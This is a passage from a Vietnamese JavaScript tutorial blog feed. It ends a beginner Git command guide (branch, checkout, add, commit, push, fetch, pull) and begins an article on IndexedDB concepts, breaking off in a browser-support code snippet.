<p>Mặc định ban đầu bạn sẽ ở nhánh <strong>master</strong> - nhánh chính.</p> <p>Để tạo mới một branch:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> branch <span class="token operator">&lt;</span>name_branch<span class="token operator">></span></code></pre></div> <h3 id="checkout" style="position:relative;"><a href="#checkout" aria-label="checkout permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Checkout</h3> <p>Trước khi muốn thay đổi source code, điều đầu tiên mà bạn cần phải làm là <strong>checkout</strong> một nhánh.</p> <p>Để checkout một nhánh, bạn dùng câu lệnh Git sau:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> checkout <span class="token operator">&lt;</span>name_branch<span class="token operator">></span></code></pre></div> <p>Để tạo mới một nhánh và checkout luôn nhánh đó thì bạn dùng câu lệnh:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> checkout -b <span class="token operator">&lt;</span>name_branch<span class="token operator">></span></code></pre></div> <p>Ngoài ra, để quay lại nhánh master:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> checkout master</code></pre></div> <h3 id="add" style="position:relative;"><a href="#add" aria-label="add permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Add</h3> <p>Sau khi bạn thay đổi source code: thêm mới, sửa, xoá files,... Bạn cần phải cập nhật lên Staging Area.</p> <p>Để cập nhật hết các files:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> <span class="token function">add</span> <span class="token builtin class-name">.</span></code></pre></div> <p>Cập nhật các files với đuôi xác định:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> <span class="token function">add</span> .<span class="token operator">&lt;</span>tên đuôi<span class="token operator">></span></code></pre></div> <p>Cập nhật các files dựa vào tên của chúng:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> <span class="token function">add</span> <span class="token operator">&lt;</span>name_file_<span class="token operator"><span class="token file-descriptor important">1</span>></span> <span class="token punctuation">[</span><span class="token operator">&lt;</span>name_file_<span class="token operator"><span class="token file-descriptor important">2</span>></span> <span class="token punctuation">..</span>. <span class="token operator">&lt;</span>name_file_n<span class="token operator">></span><span class="token punctuation">]</span></code></pre></div> <h3 id="commit" style="position:relative;"><a href="#commit" aria-label="commit permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Commit</h3> <p>Sau lệnh add, bạn cần sử dụng câu lệnh Commit để đây thông tin thay đổi lên Local Respository:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> commit -am <span class="token string">'nội dung tuỳ thích'</span></code></pre></div> <h3 id="push" style="position:relative;"><a href="#push" aria-label="push permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Push</h3> <p>Sau câu lệnh Commit, thông tin mới chỉ được cập nhật lên Local Repository. Nếu muốn cập nhật lên server thì bạn phải sử dụng câu lệnh push:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> push origin <span class="token operator">&lt;</span>name_branch<span class="token operator">></span></code></pre></div> <p>Ngoài ra, nếu chưa tồn tại remote trên server thì bạn cần phải add mới một remote trước rồi mới push:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> remote <span class="token function">add</span> origin <span class="token operator">&lt;</span>remote_url<span class="token operator">></span> $ <span class="token function">git</span> push origin <span class="token operator">&lt;</span>name_branch<span class="token operator">></span></code></pre></div> <p><strong>Chú ý</strong>: <strong>remote_url</strong> ở đây cũng chính là link đến project trên server, ví dụ: <code>https://github.com/user/repo.git</code></p> <h3 id="fetch" style="position:relative;"><a href="#fetch" aria-label="fetch permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Fetch</h3> <p>Câu lệnh Git này dùng để lấy source code từ server về Local Repository:</p> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">$ <span class="token function">git</span> fetch <span class="token operator">&lt;</span>name_branch<span class="token operator">></span></code></pre></div> <h3 id="pull" style="position:relative;"><a href="#pull" aria-label="pull permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Pull</h3> <p>Câu lệnh Git này dùng để lấy source code từ server về Working Space và merge với code hiện tại trên máy bạn nếu có thể. Trường hợp không thể merge tự động được thì bạn phải merge thủ công.</p> <p>Trong trường hợp bạn làm việc một mình thì hầu như sẽ chẳng có rắc rối gì xảy ra. Nhưng khi làm việc theo nhóm thì chuyện xung đột và giải quyết xung đột là điều không thể tránh khỏi. Phần này mình sẽ giới thiệu với các bạn trong một bài viết khác sau.</p> <p>Bài viết này dừng lại tại đây, hẹn gặp bạn trong bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[JavaScript IndexedDB - tại sao không?]]><![CDATA[Có thể bạn đã nghe thấy nhiều loại cơ sở dữ liệu (database) trên trình duyệt như PouchDB, LocalForage, Dexie, Lovefield, LokiJS, AlaSQL, ForerunnerDB, YDN-DB... Thực tế thì các…]]>https://completejavascript.com/javascript-indexeddb-tai-sao-khong/https://completejavascript.com/javascript-indexeddb-tai-sao-khong/<![CDATA[Event]]><![CDATA[IndexedDB]]>Tue, 22 Aug 2017 14:02:31 GMT<p>Có thể bạn đã nghe thấy nhiều loại cơ sở dữ liệu (database) trên trình duyệt như <a href="http://pouchdb.com/">PouchDB</a>, <a href="https://localforage.github.io/localForage/">LocalForage</a>, <a href="http://dexie.org/">Dexie</a>, <a href="https://google.github.io/lovefield/">Lovefield</a>, <a href="http://lokijs.org/">LokiJS</a>, <a href="http://alasql.org/">AlaSQL</a>, <a href="http://forerunnerdb.com/">ForerunnerDB</a>, <a href="http://dev.yathit.com/ydn-db/index.html">YDN-DB</a>... Thực tế thì các database đó chỉ là những thư viện đóng gói (wrapping) lại 3 loại database trên trình duyệt. Đó là: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage/LocalStorage">LocalStorage</a>, <a href="http://www.w3.org/TR/webdatabase/">Web SQL</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>. Việc tìm hiểu các database gốc sẽ giúp bạn hiểu rõ được bản chất của các cơ sở dữ liệu đó. Qua đó, bạn có thể tự xây dựng những thư viện của riêng mình. Tuy nhiên, bài viết này sẽ chỉ tập chung vào <strong>JavaScript IndexedDB</strong>. Tại sao vậy? Chúng ta sẽ cùng nhau tìm hiểu sau đây.</p> <h2 id="indexeddb-là-gì" style="position:relative;"><a href="#indexeddb-l%C3%A0-g%C3%AC" aria-label="indexeddb là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>IndexedDB là gì?</h2> <ul> <li>IndexedDB là một API cấp thấp cho việc lưu trữ dữ liệu phía client.</li> <li>Dữ liệu lưu trữ có thể là những dữ liệu có cấu trúc, bao gồm file hay <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob">blob</a>.</li> </ul> <h2 id="tại-sao-lại-tìm-hiểu-javascript-indexeddb" style="position:relative;"><a href="#t%E1%BA%A1i-sao-l%E1%BA%A1i-t%C3%ACm-hi%E1%BB%83u-javascript-indexeddb" aria-label="tại sao lại tìm hiểu javascript indexeddb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao lại tìm hiểu JavaScript IndexedDB?</h2> <ul> <li>IndexedDB sử dụng công nghệ <a href="https://en.wikipedia.org/wiki/Database_index">index db</a> để nâng cao hiệu quả tìm kiếm, giúp tìm kiếm dữ liệu nhanh hơn.</li> <li>IndexedDB hoạt động theo kiểu bất đồng bộ (asynchronous) và còn hỗ trợ sử dụng trong <a href="/javascript-web-worker-javascript-o-background/">Web Worker</a>, giúp tránh việc block <a href="/co-ban-ve-dom-javascript/">DOM</a>. Qua đó, trình duyệt chạy sẽ mượt hơn.</li> <li>Trong khi LocalStorage chỉ hỗ trợ dung lượng tối đa là 5MB thì IndexedDB hỗ trợ lên đến 50MB. Và khi dùng <a href="https://support.mozilla.org/en-US/questions/818987#answer-180011">quá 50MB này</a>, trình duyệt sẽ yêu cầu permission từ người dùng để có thể tăng thêm dung lượng lưu trữ.</li> </ul> <h2 id="những-khái-niệm-cơ-bản-trong-javascript-indexeddb" style="position:relative;"><a href="#nh%E1%BB%AFng-kh%C3%A1i-ni%E1%BB%87m-c%C6%A1-b%E1%BA%A3n-trong-javascript-indexeddb" aria-label="những khái niệm cơ bản trong javascript indexeddb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những khái niệm cơ bản trong JavaScript IndexedDB</h2> <ul> <li>IndexedDB lưu trữ dữ liệu theo kiểu <strong>key-value</strong>. Trong đó, value có thể là những object có cấu trúc phức tạp và key có thể là thuộc tính của object. Bạn có thể áp dụng <strong>Indexes</strong>, sử dụng bất kỳ thuộc tính nào của object để tìm kiếm nhanh hơn, cũng như là việc <a href="/sap-xep-mang-trong-javascript/">sắp xếp</a>.</li> <li>IndexedDB được xây dựng dựa trên <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB#gloss_transaction">Transaction</a>. IndexedDB API cung cấp nhiều <a href="/object-la-gi-object-trong-javascript/">object</a> như indexes, tables, cursors,... nhưng mỗi object phải được gắn liền với một transaction.</li> <li>IndexedDB API hầu hết là <strong>bất đồng bộ (asynchronous)</strong>. Các API không cung cấp dữ liệu bởi việc <strong>return</strong>, do đó, bạn cần phải truyền vào một hàm callback. Và việc của bạn cần làm là gửi đi request. Khi request được xử lý xong, IndexedDB sẽ trả lại kết quả thông qua hàm callback kia. Bạn sẽ biết được là request thành công hay thất bại. Và thành công thì dữ liệu nhận được là gì. Cơ chế hoạt động tương tự như <a href="/xmlhttprequest-tao-http-request-den-server-trong-javascript/">XMLHttpRequest</a>.</li> <li>IndexedDB sử dụng nhiều <strong>requests</strong>. Requests là những đối tượng nhận sự kiện thành công hay thất bại của DOM. Chúng có các thuộc tính <strong>onsuccess</strong>, <strong>onerror</strong>. Bạn có thể gọi hàm <strong>addEventListener()</strong> và <strong>removeEventListener()</strong> với chúng.</li> <li>IndexedDB là <strong><a href="/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/">hướng đối tượng</a></strong>. Vì vậy, IndexedDB không phải là dạng cơ sở dữ liệu quan hệ với bảng, dòng, cột,...</li> <li>IndexedDB là cơ sở dữ liệu dạng <a href="https://en.wikipedia.org/wiki/NoSQL">NoSQL</a>.</li> <li>IndexedDB cũng dựa trên chính sách <strong>same-orgin</strong>. Nghĩa là file script thực thi phải nằm trên cùng tên miền, protocol (<strong>http</strong> hay <strong>https</strong>), và cổng (<strong>port</strong>).</li> </ul> <h2 id="một-số-định-nghĩa-quan-trọng-khi-dùng-indexeddb" style="position:relative;"><a href="#m%E1%BB%99t-s%E1%BB%91-%C4%91%E1%BB%8Bnh-ngh%C4%A9a-quan-tr%E1%BB%8Dng-khi-d%C3%B9ng-indexeddb" aria-label="một số định nghĩa quan trọng khi dùng indexeddb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Một số định nghĩa quan trọng khi dùng IndexedDB</h2> <h3 id="database" style="position:relative;"><a href="#database" aria-label="database permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Database</h3> <ul> <li>Database là một kho chứa thông tin, bao gồm một hay nhiều object stores.</li> <li>Mỗi database bắt buộc phải có 2 thông số là: <ul> <li>Name (tên): xác định database ứng với mỗi origin. Name có thể là bất kỳ string nào, kể cả <a href="/kieu-du-lieu-trong-javascript/">string</a> rỗng.</li> <li>Current verion (phiên bản hiện tại): Khi database được tạo ra, nếu không chỉ rõ thì giá trị current version sẽ là 1. Và tại mỗi thời điểm, database version sẽ chỉ có một giá trị.</li> </ul> </li> </ul> <h3 id="object-store" style="position:relative;"><a href="#object-store" aria-label="object store permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Object store</h3> <ul> <li>Là cơ chế mà dựa vào đó, dữ liệu được lưu trong database.</li> <li>Object store lưu giữ các bản ghi, là các cặp key-value.</li> <li>Mỗi object store trong cùng một database phải có tên khác nhau.</li> </ul> <h3 id="version" style="position:relative;"><a href="#version" aria-label="version permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Version</h3> <ul> <li>Khi một database được tạo ra, version của nó là 1.</li> <li>Mỗi database sẽ chỉ có một version ở một thời điểm. Vì vậy, khi muốn nâng cấp database, thì bạn cần phải thay đổi giá trị của version bởi một số tự nhiên lớn hơn. Khi đó, transaction <strong>versionchange</strong> bắt đầu và <a href="/xu-ly-mot-event-javascript-co-ban/">event</a> <strong>upgradeneeded</strong> sẽ được gọi.</li> </ul> <h3 id="database-connection" style="position:relative;"><a href="#database-connection" aria-label="database connection permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Database connection</h3> <ul> <li>Database connection là một tiến trình được tạo ra bởi việc mở một database.</li> <li>Mỗi database có thể có nhiều connection cùng một lúc.</li> </ul> <h3 id="transaction" style="position:relative;"><a href="#transaction" aria-label="transaction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Transaction</h3> <ul> <li>Transaction là một tiến trình gồm hai bước là truy cập dữ liệu (data-access) và điều chỉnh dữ liệu (data-modification).</li> <li>Bất kể mọi việc (đọc, chỉnh sửa dữ liệu) đều phải được thực hiện trong một Transaction.</li> </ul> <h3 id="request" style="position:relative;"><a href="#request" aria-label="request permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Request</h3> <ul> <li>Request là tiến trình mà bởi nó, việc đọc hay ghi dữ liệu trên database được hoàn thành.</li> <li>Mỗi request sẽ đại diện cho một tiến trình đọc hoặc ghi.</li> </ul> <h3 id="index" style="position:relative;"><a href="#index" aria-label="index permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Index</h3> <ul> <li>Index là một object store dùng để tìm kiếm bản ghi ở một object store khác (gọi là <strong>referenced object store</strong>).</li> <li>Mỗi bản ghi trong một <strong>Index</strong> chỉ có thể trỏ tới một bản ghi ở <strong>referenced object store</strong>.</li> <li>Tuy nhiên, nhiều Indexes có thể tham chiếu tới một object store giống nhau. Mỗi khi object store này thay đổi thì các Indexes kia sẽ tự động thay đổi.</li> </ul> <h3 id="key-path" style="position:relative;"><a href="#key-path" aria-label="key path permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Key path</h3> <ul> <li>Key path xác định nơi mà trình duyệt lấy ra key ở trong một object store hay index.</li> <li>Key path hợp lệ có thể là: một string rỗng, một định danh JavaScript, nhiều định danh JavaScript phân cách bởi dấu chấm hay là một <a href="/array-la-gi-array-trong-javascript/">mảng</a> chứa các phần tử là một trong các kiểu kia. Và key path thì không được bao gồm dấu cách.</li> </ul> <h2 id="cách-sử-dụng-javascript-indexeddb" style="position:relative;"><a href="#c%C3%A1ch-s%E1%BB%AD-d%E1%BB%A5ng-javascript-indexeddb" aria-label="cách sử dụng javascript indexeddb permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách sử dụng JavaScript IndexedDB</h2> <ul> <li>Tham khảo code <a href="https://github.com/completejavascript/simple-indexdb-js/blob/master/SimpleIndexedDB.js">SimpleIndexedDB.js</a> - một bản wrapper đơn giản của IndexedDB.</li> </ul> <h3 id="kiểm-tra-trình-duyệt-hỗ-trợ-hay-không" style="position:relative;"><a href="#ki%E1%BB%83m-tra-tr%C3%ACnh-duy%E1%BB%87t-h%E1%BB%97-tr%E1%BB%A3-hay-kh%C3%B4ng" aria-label="kiểm tra trình duyệt hỗ trợ hay không permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra trình duyệt hỗ trợ hay không?</h3> <p>Dưới đây là đoạn code để kiểm tra trình duyệt bạn đang dùng có hỗ trợ IndexedDB hay không.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">//prefixes of implementation that we want to test</span> window<span class="token punctuation">.</span>indexedDB <span class="token operator">=</span> window<span class="token punctuation">.</span>indexedDB <span class="token operator">||</span> window<span class="token punctuation">.</span>mozIndexedDB <span class="token operator">||</span> window<span class="token punctuation">.</span>webkitIndexedDB 